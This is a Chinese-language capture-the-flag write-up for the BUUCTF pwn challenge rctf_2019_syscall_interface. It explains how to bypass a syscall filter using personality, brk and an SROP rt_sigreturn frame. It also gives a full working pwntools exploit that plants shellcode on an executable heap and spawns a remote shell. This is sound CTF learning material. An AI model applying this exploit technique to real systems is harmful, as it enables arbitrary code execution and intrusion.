[BUUCTF－pwn] rctf_2019_syscall_interface

原创

石氏是时试 于 2022-01-26 21:45:00 发布 101 收藏
分类专栏： CTF pwn 文章标签： pwn

同样是两口子，差异咋就那么大呢！！！

本来看了exp以为行了。

程序很简单，可以改用户名，可以调用syscall可指定调用号和参1但禁用了55－59的调用不能直接调。

```
write(1, "syscall number:", 0xFuLL);
v2 = read_int();
if ( v2 > 0x37u && v2 <= 0x3Bu )              // 55-59
  v2 = 60;
write(1, "argument:", 9uLL);
v3 = readl();
v4 = syscall(
       v2,
       v3,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL,
       0xDEADBEEFFFEE1BADLL);
printf("SYSCALL(0x%x, 0x%lx, ...): RET(0x%lx) by @%s\n", v2, v3, v4, a1);
```

在执行后会执行个printf这个东西会在heap里把串先组织起来再输出。

这里边用到3个中断调用：

1. 12 brk()这个调用后会返回heap的尾地址
2. 15 rt_sigreturn 执行sigreturn可以控制全部的寄存器，通过它读入shellcode然后执行
3. 135 personality 1参0x400000 可以建一个rwxp的heap段，然后调用brk()可以返回堆地址。

基本步骤：

1. 先用135建可写可执行段，然后brk得到堆地址，计算出username在堆里的偏移。printf在输出前会将数据在堆里建个缓冲区整理好，这里会残存name（\0会被截断）根据实际情况计算出偏移，当usrname输入shellcode时这个偏移就是程序入口。
2. gdb在ec8 syscall中断，然后s跟进，进入后查看username到rsp的偏移:120，由于用sigreturn时将rsp作为起点sigreturn的frame起点应该从rsp开始，这里将数据写到120+16（shellcode16字节）处，应将生成的frame前120+16字节删掉（由于name有长度限制，只取136:136+127的部分）
3. 在username设置了shell1+frame部分后，再执行brk，利用尾部的printf将shell1写到heap中的固定偏移处。

4. sigreturn将后续shell2读入heap+0x5000处将从shell1执行,shell1负责跳到shell2执行shellcraft.sh()

```
from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 25443)

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'

menu = b"choice:"
def change_name(name):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"username:", name)

def exec_cmd(idx, val):
    p.sendlineafter(menu, b'0')
    p.sendlineafter(b"syscall number:", str(idx).encode())
    p.sendlineafter(b"argument:", str(val).encode())


#0x0000562e421a2000 0x0000562e421c3000 rwxp [heap]
exec_cmd(135, 0x400000) #personality  READ_IMPLIES_EXEC

exec_cmd(12, 0) #call brk() get heap.end
p.recvuntil(b'RET(')
#https://balsn.tw/ctf_writeup/20190518-rctf2019/#syscall_interface
heap_addr = int(p.recvuntil(b')', drop=True), 16) -0x22000 #-0x21000  local 0x21000, remote 0x22000
print('heap:', hex(heap_addr))

#chunk0:printf.cache 0x410

'''
db-peda$ find nobody
Searching for 'nobody' in: None ranges
Found 3 results, display max 3 items:
    pwn : 0x55ea6435cf42 (outs   dx,BYTE PTR ds:[rsi])
 [heap] : 0x55ea6467c040 --> 0xa79646f626f6e ('nobody\n')
[stack] : 0x7fffced33280 --> 0x79646f626f6e ('nobody')
gdb-peda$ vmmap 0x55ea6467c040
Start              End                Perm Name
0x000055ea6467c000 0x000055ea6469d000 rwxp [heap]
gdb-peda$ p 0x55ea6467c040 - 0x000055ea6467c000
$1 = 0x40
'''
#username 0120| 0x7ffc73a7f810  -$rsp = 120
shellcode = 'xor rdi,rdi;mov rsi, rsp;syscall;jmp rsi'
rip_heap_offset = 0x40
rip = heap_addr + rip_heap_offset  #printf write shellcode to heap+0x40

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x5000
frame.rip = rip
```

```
# set cs=0x33, ss=0x2b
frame.csgsfs = (0x002b <<48) | (0x0000 <<32) | (0x0001 <<16) | (0x0033 * 0x1)

payload = asm(shellcode).ljust(16, b'\x90') + flat(frame)[120 + 16:]
change_name(payload[:127])

# leave shellcode on the heap  EF6:printf("...... @%s\n", v2, v3, v4, a1);
exec_cmd(12, 0) #brk()

exec_cmd(15, 0) #rt_sigreturn

p.sendline(asm(shellcraft.sh()))

sleep(0.1)
p.sendline(b'cat /flag')
p.interactive()
```

坑：

这个坑不算小，远程建的堆块是0x22000，本地是0x21000。这个没啥道理，不对死活成功不了。看另外一个人写的是0x22000试了果然成功。